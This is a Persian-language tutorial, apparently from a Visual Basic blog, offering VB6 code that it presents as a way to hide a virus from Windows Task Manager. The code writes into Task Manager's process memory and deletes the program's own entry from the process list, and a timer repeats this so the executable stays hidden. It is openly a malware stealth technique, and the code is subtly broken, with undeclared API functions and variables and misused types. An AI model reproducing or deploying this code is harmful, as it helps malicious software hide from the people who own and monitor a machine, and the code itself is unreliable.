مخفی کردن عالی ویروس از مدیریت برنامه ها(Task Manager) ( آموزش ه

با استفاده از این کدها می توانید نام برنامه خود را در قسمت Processes از برنامه Task Manager مخفی نگه دارید.بسیار زیاد از این کدها اسفاده می شود.

شما باید کد 1 را کپی و در یک ماژول(Module) ذخیره کرده و در برنامه اصلی یک شی Timer ساخته و در آن روال کد زیر را صدا بزنید مانند کد 2.

کد 1:

Public Declare Function GetCurrentProcessId Lib "kernel32.dll" () As Long Public Declare Function KillTimer Lib "user32.dll" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Public Declare Function FindWindowEx Lib "user32.dll" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long Public Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long Public Sub Hide_Process(Name As String) 'Created By X$X Team (Please Don't Remove This Topic and Write Your Own Name) On Error Resume Next Dim pName As Long Dim pType As Long Dim l As Long Dim Tid As Long Dim hTid As Long Dim pid As Long Dim i As Long Dim hProcess As Long Dim f As bkh Dim s As String Dim bkh() As Byte h = FindWindow(vbNullString, "Windows Task Manager") If h = 0 Then Exit Sub KillTimer h, 0 h = FindWindowEx(h, 0, "#32770", vbNullString) h = FindWindowEx(h, 0, "SysListView32", vbNullString) f.flag = 8 Or &H20 Call GetWindowThreadProcessId(h, pid) hProcess = OpenProcess(1082, 0, pid) bkh = StrConv(Name, vbFromUnicode) pName = VirtualAllocEx(hProcess, 0, Len(Name) + 1, &H1000, 4) WriteProcessMemory hProcess, pName, VarPtr(bkh(0)), Len(Name), l f.psz = pName pType = VirtualAllocEx(hProcess, 0, Len(f), &H1000, 4) WriteProcessMemory hProcess, pType, VarPtr(f.flag), Len(f), l i = SendMessage(h, &H1000 + 13, 0, pType) If i <> -1 Then SendMessage h, &H1000 + 8, i, 0 VirtualFreeEx hProcess, pType, Len(f), &H8000 VirtualFreeEx hProcess, pName, LenB(Name) + 1, &H8000 CloseHandle pid 'WWW.XSX-VBS.Mihanblog.COM End Sub کد 2: (مربوط به فرم یا برنامه اصلی که نیاز به یک تایمر دارد برای صدا زدن مدام روال کد 1) Private Sub tmrHiddenEXE_Timer() On Error Resume Next Hide_Process App.EXEName & ".exe" DoEvents End Sub